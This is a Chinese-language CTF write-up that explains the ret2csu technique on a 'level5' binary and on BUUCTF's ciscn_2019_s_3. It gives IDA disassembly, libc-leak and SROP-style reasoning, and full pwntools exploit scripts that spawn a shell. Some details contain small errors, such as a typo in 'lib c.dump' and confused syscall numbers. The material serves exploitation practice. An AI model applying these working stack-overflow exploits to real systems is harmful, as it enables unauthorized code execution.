本题难点:对栈的理解需要稍微更深入一点
ciscn_s_3 建议去看本人最新文章BUUCTF Ret2Csu ciscn_s_3
1.Checksec & IDA Pro
开启了栈不可执行与部分RELRO
没有 system , /bin/sh,得自己构造。
看一眼 main 函数 与 vulnerable_function
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
vulnerable_function(1LL);
return 0;
}
vulnerable_function
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
2.源码分析:
很显然,vulnerable_function 存在栈溢出漏洞。
read 函数不检查输入的字符串长度。buf变量与rsp的距离为0,因此buf的起始地址就是rsp的地址。从buf的rsp到rbp的大小总共为0x80+0x08,其中0x08为buf后的ret地址。
3.构造Exp
构造Exp思路如下:
1.利用pwntools查找write,read,main函数的got表地址与bss段的段起始地址
2.利用栈溢出执行通用gadget,__libc_csu_init 中的gadget,并再次执行main函数为接下来做准备
3.通过got表地址泄露真实地址的后3位,查找Libc版本并查找execve地址
4.再次溢出栈,执行 __libc_csu_init 的gadget,利用got表中的read函数地址执行read,向bss段写入execve函数地址与/bin/sh字符串,再次执行为接下来做准备
5.最后再溢出一次栈,执行 __libc_csu_init 的gadget,执行写入bss段中的 execve('/bin/sh')
因为 PIE 未开启,因此可以直接使用 IDA Pro 中获取的 __libc_csu_init 中的gadget地址。
分别是:
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 4C 89 EA mov rdx, r13
.text:0000000000400603 4C 89 F6 mov rsi, r14
.text:0000000000400606 44 89 FF mov edi, r15d
.text:0000000000400609 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 48 83 C4 08 add rsp, 8
.text:000000000040061A 5B pop rbx
.text:000000000040061B 5D pop rbp
.text:000000000040061C 41 5C pop r12
.text:000000000040061E 41 5D pop r13
.text:0000000000400620 41 5E pop r14
.text:0000000000400622 41 5F pop r15
.text:0000000000400624 C3 retn
在64位程序中,函数传参是通过寄存器与栈进行的。
write函数的原型:
ssize_t write (int fd, const void * buf, size_t count)
fd 为文件描述符,fd为1时为标准输出
buf 需要输出的内存地址
count 输出字节数
正好对上第一部分 __libc_csu_init 的 gadget
text:0000000000400600 loc_400600:
.text:0000000000400600 4C 89 EA mov rdx, r13
.text:0000000000400603 4C 89 F6 mov rsi, r14
.text:0000000000400606 44 89 FF mov edi, r15d
.text:0000000000400609 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
但是发现 在 __libc_csu_init 的gadget中,我们需要先在 r13 , r14 , r15d 中放置我们的 1 , write_got , 8
因此就需要用到第二部分gadget
.text:0000000000400616 loc_400616:
.text:0000000000400616 48 83 C4 08 add rsp, 8
.text:000000000040061A 5B pop rbx
.text:000000000040061B 5D pop rbp
.text:000000000040061C 41 5C pop r12
.text:000000000040061E 41 5D pop r13
.text:0000000000400620 41 5E pop r14
.text:0000000000400622 41 5F pop r15
.text:0000000000400624 C3 retn
因此可得出我们的通用gadget函数
def csu( rbx , rbp , r12 , r13 , r14 , r15 , arg ):
payload = b'A' * ( 0x80 + 0x08 ) # 溢出栈 buf 大小以及返回地址为 0x80 + 0x08
payload += p64(csu_rear) # 先调用第二部分gadget,把 rbx , rbp , r12 , r13 , r14 , r15 送入栈中
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front) # 调用第一部分gadget,将 r13 , r14 , r15 送出栈
payload += b'A' * 0x38 # 平衡栈堆
payload += p64(arg) # arg为返回地址,在本文使用main_addr。返回main函数再次执行方便下次溢出
io.send(payload)
sleep(1) # 等待接收
其中 rbx 必须为0 ,rbp必须为1
因为:
.text:000000000040060D 48 83 C3 01 add rbx, 1
.text:0000000000400611 48 39 EB cmp rbx, rbp
.text:0000000000400614 75 EA jnz short loc_400600
通用gadget:
def csu( rbx , rbp , r12 , r13 , r14 , r15 , arg ):
payload = b'A' * ( 0x80 + 0x08 )
payload += p64(csu_rear)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front)
payload += b'A' * 0x38
payload += p64(arg)
io.send(payload)
sleep(1)
通过使用函数赋值,如
csu( 0 , 1 , write_got , 8 , write_got , 1 , main_addr )
第一阶段的Payload解决。
然后是接收泄露的地址:
write_addr = u64(io.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
将 /bin/sh\x00 写入bss段:
io.recvuntil('Hello, World\n')
csu( 0 , 1 , read_got , 16 , bss_base , 0 , main_addr )
io.send(p64(execve_addr) + b'/bin/sh\x00')
执行写入bss段的 execve('/bin/sh'):
io.recvuntil('Hello, World\n')
csu( 0 , 1 , bss_base , 0 , 0 , bss_base + 8 , main_addr )
io.interactive()
完整Payload:
from pwn import *
from LibcSearcher import *
io = process("/root/Desktop/PwnSubjects/level5")
elf = ELF("/root/Desktop/PwnSubjects/level5")
csu_front = 0x400600
csu_rear = 0x40061A
main_addr = 0x400587
write_got = elf.got['write']
read_got = elf.got['read']
bss_base = elf.bss()
def csu( rbx , rbp , r12 , r13 , r14 , r15 , arg ):
payload = b'A' * ( 0x80 + 0x08 )
payload += p64(csu_rear)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front)
payload += b'A' * 0x38
payload += p64(arg)
io.send(payload)
sleep(1)
io.recvuntil('Hello, World\n')
csu(0 , 1 , write_got , 8 , write_got , 1 , main_addr)
write_addr = u64(io.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + lib c.dump('execve')
log.success('real_addr: ' + hex(write_addr))
log.success('execve_addr: ' + hex(execve_addr))
io.recvuntil('Hello, World\n')
csu( 0 , 1 , read_got , 16 , bss_base , 0 , main_addr )
io.send(p64(execve_addr) + b'/bin/sh\x00')
io.recvuntil('Hello, World\n')
csu( 0 , 1 , bss_base , 0 , 0 , bss_base + 8 , main_addr )
io.interactive()
接下来我们来看一道例题:BUUCTF的ciscn_2019_s_3
1.Checksec & IDA Pro
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
2.源码分析:
不难看出溢出点在 vuln 中
read尝试读入一个长度为10的buf,但是write识图读出一个长度为30的buf ,其中有0x20是空余的。
在__libc_csu_init中发现了通用gadget:
.text:0000000000400580 loc_400580:
.text:0000000000400580 4C 89 EA mov rdx, r13
.text:0000000000400583 4C 89 F6 mov rsi, r14
.text:0000000000400586 44 89 FF mov edi, r15d
.text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400596 loc_400596:
.text:0000000000400596 48 83 C4 08 add rsp, 8
.text:000000000040059A 5B pop rbx
.text:000000000040059B 5D pop rbp
.text:000000000040059C 41 5C pop r12
.text:000000000040059E 41 5D pop r13
.text:00000000004005A0 41 5E pop r14
.text:00000000004005A2 41 5F pop r15
.text:00000000004005A4 C3 retn
看得出来,可以直接复用之前的通用gadget
只需要修改一下 csu_front 和 csu_rear 即可。
但是我们在 IDA Pro 中并未发现 write 与 read 函数
但是发现了函数 gadgets
__int64 gadgets()
{
return 15LL;
}
乍一看其实看不出啥,查看反汇编
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 55 push rbp
.text:00000000004004D7 48 89 E5 mov rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:00000000004004E1 C3 retn
.text:00000000004004E1
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00 mov rax, 3Bh ; ';'
.text:00000000004004E9 C3 retn
.text:00000000004004E9
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA 90 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D pop rbp
.text:00000000004004EC C3 retn
.text:00000000004004EC ; } // starts at 4004D6
这部分是之后用来系统调用的。
其中
mov rax,0Fh // 0Fh 即15 而15 对应的是 sys_rt_sigreturn系统调用
mov rax,3Bh // 3Bh 即 59 而15 对应的是 sys_execve 系统调用
3.如何计算 /bin/sh 的偏移:
在main下断点
一步一步直到 call vuln
下一步,输入 aaaa
随后 search aaaa 查找aaaa
再使用 x /8gx 查找对应地址
用 0x00007fffffffe048 - 0x7fffffffdf00 使用pwndbg的 distance 函数也行
偏移即为 0x148
4.构造Payload
payload = b'/bin/sh\x00' + p64(rdi_addr) + p64(csu_rear)
# rbp . r12 . r13 . r14 . r15
payload += p64(0) + p64(bin_sh_addr + 0x08) + p64(0) + p64(0) +p64(bin_sh_addr)
payload += p64(csu_front) + p64(execve_call) + p64(rdi_addr) + p64(bin_sh_addr) + p64(syscall)
完整Payload:
from pwn import *
from LibcSearcher import *
io = process("/root/Desktop/PwnSubjects/ciscn_s_3")
elf = ELF("/root/Desktop/PwnSubjects/ciscn_s_3")
csu_front = 0x400580
# mov rdx , r13
# mov rsi , r14
# mov edi . r15d
csu_rear = 0x40059B
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# ret
main_addr = 0x400587
execve_call = 0x4004E2
# mov rax , 3BH
vuln_addr = 0x4004ED
rdi_addr = 0x4005A3
syscall = 0x400501
context.log_level = 'debug'
payload_leak = b'/bin/sh\x00' + b'A' * 8 + p64(vuln_addr)
io.sendline(payload_leak)
io.recv(0x20)
stack_addr = u64(io.recv(8))
print(hex(stack_addr))
bin_sh_addr = stack_addr - 0x148
payload = b'/bin/sh\x00' + p64(rdi_addr) + p64(csu_rear)
# rbp . r12 . r13 . r14 . r15
payload += p64(0) + p64(bin_sh_addr + 0x08) + p64(0) + p64(0) +p64(bin_sh_addr)
payload += p64(csu_front) + p64(execve_call) + p64(rdi_addr) + p64(bin_sh_addr) + p64(syscall)
io.sendline(payload)
io.interactive()
不知道为什么这题本地需要用 0x148 才能打通,远程需要 0x118